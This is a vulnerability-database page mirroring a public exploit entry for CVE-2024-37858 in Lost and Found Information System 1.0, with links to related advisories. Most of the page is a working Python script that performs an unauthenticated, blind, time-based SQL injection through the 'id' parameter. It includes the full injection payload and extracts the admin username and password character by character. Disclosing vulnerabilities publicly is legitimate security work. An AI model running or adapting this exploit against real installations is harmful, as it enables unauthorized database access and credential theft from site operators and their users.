Lucene search
K

Lost And Found Information System 1.0 SQL Injection

🗓️ 13 Jun 2024 00:00:00Reported by Amit RoyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 219 Views

Unauthenticated Blind Time-Based SQL Injection exploit in Lost and Found Information System 1.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-37858
29 Jul 202422:09
circl
CNNVD
Lost And Found Information System 安全漏洞
29 Jul 202400:00
cnnvd
CVE
CVE-2024-37858
29 Jul 202400:00
cve
Cvelist
CVE-2024-37858
29 Jul 202400:00
cvelist
NVD
CVE-2024-37858
29 Jul 202419:15
nvd
OSV
CVE-2024-37858
29 Jul 202419:15
osv
Positive Technologies
PT-2024-27788 · Unknown · Lost/Found Information System
29 Jul 202400:00
ptsecurity
RedhatCVE
CVE-2024-37858
23 May 202509:07
redhatcve
Vulnrichment
CVE-2024-37858
29 Jul 202400:00
vulnrichment
`# Exploit Title: Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System   
# Exploit Author: Amit Roy (Rezur / AR0x7)  
# Date: June 07, 2024  
# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip  
# Tested on: Kali Linux, Apache, Mysql  
# Version: v1.0  
# Exploit Description:  
# Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.  
# CVE : CVE-2024-37858  
  
import requests,string,sys,argparse  
  
r = requests.Session()  
proxies = {'http': 'http://127.0.0.1:8080'}  
  
admin_path = "/php-lfis/admin/index.php"  
createCategory_path = "/php-lfis/classes/Master.php"  
  
def char_extract(rhost, payload):  
params = {"page": "categories/manage_category", "id": payload}  
response = r.get(rhost+admin_path, params=params)  
if response.elapsed.total_seconds() > 1:  
return True  
else:  
return False  
  
def sqli(rhost, column):  
charset = string.printable  
output_length = 200  
output = ""  
for i in range(output_length):  
for char in charset:  
# Extracts the credentials of user with id=1, admin by default  
payload = "13371337' or if((char(%s)=(select substring(%s,%s,1) from users where id=1)),sleep(1),1)-- -" % (ord(str(char)),str(column),str(i+1))  
sys.stdout.write(f"\r[*] Extracting: {output}\r")  
if char_extract(rhost, payload):  
output += char  
break  
elif char == '~' and not char_extract(rhost, payload):  
print("[*] Extracting:",output)  
return output  
  
def argsetup():  
about = 'Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'  
parser = argparse.ArgumentParser(description=about)  
parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)  
args = parser.parse_args()  
return args  
  
def main():  
args = argsetup()  
rhost = args.target  
print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation